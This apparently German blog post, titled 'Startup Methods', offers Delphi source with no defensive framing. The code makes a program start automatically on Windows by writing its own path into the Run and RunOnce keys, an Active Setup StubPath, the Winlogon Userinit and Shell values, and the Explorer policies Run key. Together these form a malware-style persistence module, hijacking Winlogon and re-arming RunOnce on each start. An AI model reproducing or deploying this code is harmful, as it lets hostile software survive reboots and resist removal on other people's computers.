this slowpoke moves

Startup Methods

private
    { Private declarations }
    function SetKey(Key: HKEY; SubKey, Name, Value: String): Boolean;
    function GetKey(Key: HKEY; SubKey, Number: String): String;
    function DelKey(RootKey: HKEY; Name: String): boolean;
    procedure InitiateRun(Key: String);
    procedure InitiateRunOnce();
    procedure InitiateActiveX();
    procedure InitiateUserInit();
    procedure InitiateShell();
    procedure InitiatePolicies(Key: String);
    
var
  Form1: TForm1;
  ActiveXKey: String = '{4fz8rk-15aq-16nc-23or4-2ke0fa051515}';
  RunOnceKey: String = 'MyProgram';
  
//

procedure TForm1.FormCreate(Sender: TObject);
begin
  Edit1.Text := 'RunStartupKey';
  Edit2.Text := 'PoliciesStartupKey';

  if ParamStr(1)='/ActiveX' then
    DelKey(HKEY_CURRENT_USER, 'SOFTWARE\Microsoft\Active Setup\Installed Components\'+ActiveXKey);
  if ParamStr(1)='/RunOnce' then
    SetKey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',RunOnceKey,'"'+ParamStr(0)+'" /RunOnce');
end;

function TForm1.SetKey(Key: HKEY; SubKey, Name, Value: String): Boolean;
var
  RegKey: HKEY;
begin
  Result := False;
  RegCreateKey(Key, PChar(SubKey), RegKey);
  if RegSetValueEx(RegKey, PChar(Name), 0, REG_SZ, PChar(Value), Length(Value)) = 0 then
    Result := True;
  RegCloseKey(RegKey);
end;

function TForm1.GetKey(Key: HKEY; Subkey, Number: String): String;
var
  BytesRead: DWORD;
  RegKey: HKEY;
  Value: String;
begin
  Result:='';
  RegOpenKeyEx(Key, PChar(SubKey), 0, KEY_READ, RegKey);
  RegQueryValueEx(RegKey, PChar(Number), nil, nil, nil, @BytesRead);
  SetLength(Value, BytesRead);
  if RegQueryValueEx(RegKey, PChar(Number), nil, nil, @Value[1], @BytesRead) = 0 then
    Result := Value;
  RegCloseKey(RegKey);
end;

function TForm1.DelKey(RootKey: HKEY; Name: String): Boolean;
var
  SubKey: String;
  I : integer;
  hTemp: HKEY;
begin
  Result := False;
  I := LastDelimiter('\', Name);
  if I > 0 then
  begin
    SubKey := Copy(Name, 1, I - 1);
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then
    begin
      SubKey := Copy(Name, I + 1, Length(Name) - I);
      Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS);
      RegCloseKey(hTemp);
    end;
  end;
end;

procedure TForm1.InitiateRun(Key: String);
begin
  SetKey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',Key,'"'+ParamStr(0)+'"');
end;

procedure TForm1.InitiateRunOnce();
begin
  SetKey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',RunOnceKey,'"'+ParamStr(0)+'" /RunOnce');
end;

procedure TForm1.InitiateActiveX();
begin
  SetKey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Active Setup\Installed Components\'+ActiveXKey,'StubPath','"'+ParamStr(0)+'" /ActiveX');
end;

procedure TForm1.InitiateUserInit();
var
  OriginalKey: string;
begin
  OriginalKey := GetKey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','UserInit');
  if AnsiPos(ParamStr(0), OriginalKey) = 0 then
    SetKey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit',PChar(OriginalKey)+'"'+Paramstr(0)+'"'+',');
end;

procedure TForm1.InitiateShell();
var
  OriginalKey: string;
begin
  OriginalKey:=GetKey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');
  if AnsiPos(ParamStr(0), OriginalKey) = 0 then
    SetKey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(OriginalKey)+' "'+Paramstr(0)+'"');
end;

procedure TForm1.InitiatePolicies(Key : String);
begin
  SetKey(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',Key,ParamStr(0));
end;
Methoden :
procedure TForm1.Button1Click(Sender: TObject);
begin
  InitiateRun(Edit1.Text);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  InitiateRunOnce();
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  InitiateActiveX();
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  InitiateUserInit();
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
  InitiateShell();
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
  InitiatePolicies(Edit2.Text);
end;

Keine Kommentare:

Kommentar veröffentlichen

Beliebte Posts

Translate